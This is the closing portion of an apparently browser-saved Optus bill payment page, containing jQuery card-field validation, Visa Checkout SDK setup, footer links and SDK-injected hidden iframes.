			errorMessage = "Expiry date is not valid. Please ensure you enter MM/YY.";
			setCheckFailedControl($( "#exp1" ));
		}
		return errorMessage;
	}
	
	function checkcv() {
		var cvOkay = false;
		var errorMessage = "";
		if (checkCardField($( "#cv" ),3,4)) {
			cvOkay = true;
		}
		if (!cvOkay) {
			errorMessage = "Card ID is not valid";
			setCheckFailedControl($( "#cv" ));
		}
		return errorMessage;
	}

	function checkCard() {
		var cardOkay = false;
		var errorMessage = "";
		if (iOS) {
			if (checkCardField($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58612FD4364303A7816C6C8FD33A39134D" ),13,16)) {
				cardOkay = true;
			}
		}
		else {
			if (checkCardField($( "#cr1" ),4,4)) {
				if (checkCardField($( "#cr2" ),4,4)) {
					if (checkCardField($( "#cr3" ),4,4)) {
						if (checkCardField($( "#cr4" ),1,4)) {
							cardOkay = true;
						}
					}
				}
			}
		}
		if (!cardOkay) {
			errorMessage = "Card number is not valid";
			setCheckFailedControl($( "#cr1" ));
		}
		return errorMessage;
	}

	function appendErrorMessage(errorMessage,errorHTML) {
		if (errorMessage.length > 0) {
			if (errorHTML.length > 0) {
				errorHTML += "<br/>";
			}
			errorHTML += errorMessage;
		}
		return errorHTML;
	}
	
	function focusFailedCheckControl() {
		if ((checkFailedControl != null) && isLandingPageWide()) {
			checkFailedControl.focus();
			checkFailedControl.select();
		}
	}

	function clientChecks(isVisaCheckoutPayment) {
		var allOkay = true;
		var errorHTML = "";
		checkFailedControl = null;
		errorHTML = appendErrorMessage(checkAccountNumber(),errorHTML);
		errorHTML = appendErrorMessage(checkAmount(),errorHTML);
		if (isVisaCheckoutPayment != true) {
			errorHTML = appendErrorMessage(checkCard(),errorHTML);
			errorHTML = appendErrorMessage(checkExpiry(),errorHTML);
			errorHTML = appendErrorMessage(checkcv(),errorHTML);
		}
		if (errorHTML.length > 0) {
			showErrorText(errorHTML);
			allOkay = false;
			focusFailedCheckControl();
		}
		else {
			$( "#pmb_error_alert" ).hide(0);
		}
		return allOkay;
	}
	
	$( "#cr1" ).keyup(function() {
		if ($( "#cr1" ).val().length >= 4) {
			$( "#cr2" ).focus();
			$( "#cr2" ).select();
		}
	});

	$( "#cr2" ).keyup(function() {
		if ($( "#cr2" ).val().length >= 4) {
			$( "#cr3" ).focus();
			$( "#cr3" ).select();
		}
	});

	$( "#cr3" ).keyup(function() {
		if ($( "#cr3" ).val().length >= 4) {
			$( "#cr4" ).focus();
			$( "#cr4" ).select();
		}
	});

	$( "#exp1" ).keyup(function() {
		if ($( "#exp1" ).val().length >= 2) {
			$( "#exp2" ).focus();
			$( "#exp2" ).select();
		}
	});</script></div><hr><div id=pmb_footer_links><a href=http://www.optus.com.au/contactus> Contact Us </a>  |  <a href=http://www.optus.com.au/copyright> Copyright </a>  |  <a href=http://www.optus.com.au/privacypolicy> Privacy Policy </a>  |  <a href=http://www.optus.com.au/standardagreements> Standard Agreements </a>  |  <a href=http://www.optus.com.au/careers> Careers </a>  |  <a href=http://www.optus.com.au/sitemap> Site Map </a><div class=pull-right><img class="lazy img-responsive"style="display: block;"alt=IPPAYMENTS src=./files/Powered-by-IPP.png></div></div></div><div class="modal fade"aria-hidden=true aria-labelledby=pmb_dialog_label id=pmb_dialog role=dialog tabindex=-1><div class=modal-dialog><div class=modal-content><div class=modal-header><button aria-hidden=true class=close data-dismiss=modal id=pmb_dialog_close_button type=button>×</button><h4 class=modal-title id=pmb_dialog_label>Processing...</h4></div><div class=modal-body id=pmb_dialog_body><div style="text-align: center;"><img alt="Please Wait"src=./files/loader.gif></div></div><div class=modal-footer id=pmb_dialog_footer><button class="btn btn-default"data-dismiss=modal type=button>Close</button></div></div></div></div><script>function hideWaitDialog() {
		$( "#pmb_dialog" ).modal("hide");
	}

	function showWaitDialog() {
		$( "#pmb_dialog_close_button" ).hide();
		$( "#pmb_dialog_footer" ).hide();
		$( "#pmb_dialog" ).modal({keyboard: false, backdrop: 'static'});
	}</script><script>function setForSize() {
				setForSizeLanding();
				//if ($( "#pmb_payment" ).is(":visible")) {
				//	setForSizeLanding();
				//}	else {
				//	setForSizeReceipt();
				//}
			}
			
			function documentInit() {
				showPaymentLanding();
			}

			function showPaymentLanding() {
				paymentLandingShowInit();
			}</script><script src=./files/pmb.js.download></script><script src=./files/sdk.js.download></script><script>function onVisaCheckoutReady(){		 
		V.init( {apikey: "C2O8ASTAQ1RV9TBZB9IP149suaexLieMh84MoANVO679eHt9Y",externalClientId: "24b01ead-80d5-48c9-b2bf-e42be093c49e",externalProfileId:"IPPProfile1",paymentRequest:{currencyCode: "AUD",total: $.trim($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548" ).val()), subtotal: $.trim($( "#ctrl0DD770F41BF7F9AA946A6B62D4DBEA58B82EB268931CB62249F91D1692C7B548" ).val())},settings: {locale: "en_AU", shipping: {collectShipping: "false"},review: {message: "Click to Pay Now", buttonAction: "Pay"}}});
		V.on("payment.success", function(payment) {			
			document.getElementById('ctrl5CE282561984FF8F185D89500DDB025D6A56D475E30A8CAE6DEF4DF1CEDDC01B').value = JSON.stringify(payment);
			var button = document.getElementById('ctrl6FE34B8AE7497560414ABD2F260438C7');  
			if (button) {				
				showWaitDialog(); 
				button.click(); 
			} 
		});
		V.on("payment.cancel", function (payment)
		{ showErrorText("VISA Checkout cancelled"); });
		V.on("payment.error", function (payment, error)
		{ showErrorText("An error with VISA Checkout"); });					
	}
	
	function clearVcoData() {
		$( "#ctrl5CE282561984FF8F185D89500DDB025D6A56D475E30A8CAE6DEF4DF1CEDDC01B" ).val("");
	}</script><style>#custom-visa-checkout-outer-container{
	position:relative;
	}
	#custom-visa-checkout-learn-more{
	width:160px;
	text-align:left;
	font:6.5pt arial;
	text-decoration: none;
	color: #0044AA;
	}
	#custom-visa-checkout-learn-more-text{
	font:6.5pt arial;
	text-decoration: none;
	color: #0044AA;
}</style><div style="visibility: hidden; position: absolute; height: 1px; width: 1px; left: -2000px; bottom: 0px;"id=VmeGtm><iframe sandbox="allow-same-origin allow-scripts allow-forms allow-top-navigation allow-popups"style="height: 0px; width: 0px; display: none;"title="For system use, please ignore."frameborder=0 role=presentation src=./files/gtm.html tabindex=-1></iframe></div><script id=orchJs src=./files/visaOrchSdk.js.download></script><script id=visaSDK src=./files/visaSdk.js.download></script><div style="visibility: hidden; position: fixed; height: 1px; width: 1px; left: 0px; bottom: 0px;"id=vcop-src-system><iframe sandbox="allow-same-origin allow-scripts allow-forms allow-top-navigation allow-popups"style="height: 0px; width: 0px; display: none;"title="For system use, please ignore."frameborder=0 id=vcop-src-system-frame role=presentation src=./files/external-src-system.html tabindex=-1></iframe></div><div style="visibility: hidden; position: fixed; height: 1px; width: 1px; left: 0px; bottom: 0px;"id=vcop-src-system><iframe sandbox="allow-same-origin allow-scripts allow-forms allow-top-navigation allow-popups"style="height: 0px; width: 0px; display: none;"title="For system use, please ignore."frameborder=0 id=vcop-src-system-frame role=presentation src=./files/external-src-system(1).html tabindex=-1></iframe></div><div style="visibility: hidden; position: fixed; height: 1px; width: 1px; left: 0px; bottom: 0px;"id=vcop-src-system><iframe sandbox="allow-same-origin allow-scripts allow-forms allow-top-navigation allow-popups"style="height: 0px; width: 0px; display: none;"title="For system use, please ignore."frameborder=0 id=vcop-src-system-frame role=presentation src=./files/external-src-system(2).html tabindex=-1></iframe></div><div style="visibility: hidden; position: fixed; height: 1px; width: 1px; left: 0px; bottom: 0px;"id=vcop-src-system><iframe sandbox="allow-same-origin allow-scripts allow-forms allow-top-navigation allow-popups"style="height: 0px; width: 0px; display: none;"title="For system use, please ignore."frameborder=0 id=vcop-src-system-frame role=presentation src=./files/external-src-system(3).html tabindex=-1></iframe></div><div style="visibility: hidden; position: fixed; height: 1px; width: 1px; left: 0px; bottom: 0px;"id=vcop-src-system><iframe sandbox="allow-same-origin allow-scripts allow-forms allow-top-navigation allow-popups"style="height: 0px; width: 0px; display: none;"title="For system use, please ignore."frameborder=0 id=vcop-src-system-frame role=presentation src=./files/external-src-system(4).html tabindex=-1></iframe></div><script id=amexSDK src=./files/amexSDK-1.0.0.js.download></script><iframe frameborder=0 height=0px id=ssIframe name=ssIframe src=./files/iframe.html style=display:none;position:absolute;width:0px;height:0px;border:none;left:-100px;top:-100px; width=0px></iframe><iframe frameborder=0 height=0px id=ssIframe name=ssIframe src=./files/iframe(1).html style=display:none;position:absolute;width:0px;height:0px;border:none;left:-100px;top:-100px; width=0px></iframe><iframe frameborder=0 height=0px id=ssIframe name=ssIframe src=./files/iframe(2).html style=display:none;position:absolute;width:0px;height:0px;border:none;left:-100px;top:-100px; width=0px></iframe><iframe frameborder=0 height=0px id=ssIframe name=ssIframe src=./files/iframe(3).html style=display:none;position:absolute;width:0px;height:0px;border:none;left:-100px;top:-100px; width=0px></iframe><iframe frameborder=0 height=0px id=ssIframe name=ssIframe src=./files/iframe(4).html style=display:none;position:absolute;width:0px;height:0px;border:none;left:-100px;top:-100px; width=0px></iframe><div style="visibility: hidden; position: fixed; height: 1px; width: 1px; left: 0px; bottom: 0px;"id=vcop-src-system><iframe sandbox="allow-same-origin allow-scripts allow-forms allow-top-navigation allow-popups"style="height: 0px; width: 0px; display: none;"title="For system use, please ignore."frameborder=0 id=vcop-src-system-frame role=presentation src=./files/external-src-system(5).html tabindex=-1></iframe></div><div style="width: 100%; height: 100%; position: fixed; display: none; top: 0px; left: 0px; bottom: 0px; right: 0px; z-index: 999995;"id=visa-sdk-loader-wrapper><iframe sandbox="allow-same-origin allow-scripts allow-forms allow-top-navigation allow-popups"style="height: 100%; width: 100%;"title="For displaying visa loader screen"frameborder=0 id=visa-sdk-loader-frame role=presentation src=./files/sdk-loader.html></iframe></div><iframe frameborder=0 height=0px id=ssIframe name=ssIframe src=./files/iframe(5).html style=display:none;position:absolute;width:0px;height:0px;border:none;left:-100px;top:-100px; width=0px></iframe><div class=diigo_note_app_maximize id=note_diigo><iframe frameborder=0 id=note_wrap_diigo src=./files/note.html></iframe></div><loom-container id=lo-engage-ext-container> <div></div> <loom-shadow classname=resolved> </loom-shadow> </loom-container><div style="visibility: hidden; position: absolute; height: 1px; width: 1px; left: -2000px; bottom: 0px;"id=CheckoutConfig><iframe sandbox="allow-same-origin allow-scripts allow-forms allow-top-navigation allow-popups"style="height: 0px; width: 0px; display: none;"title="For system use, please ignore."frameborder=0 role=presentation src=./files/config.html tabindex=-1></iframe></div>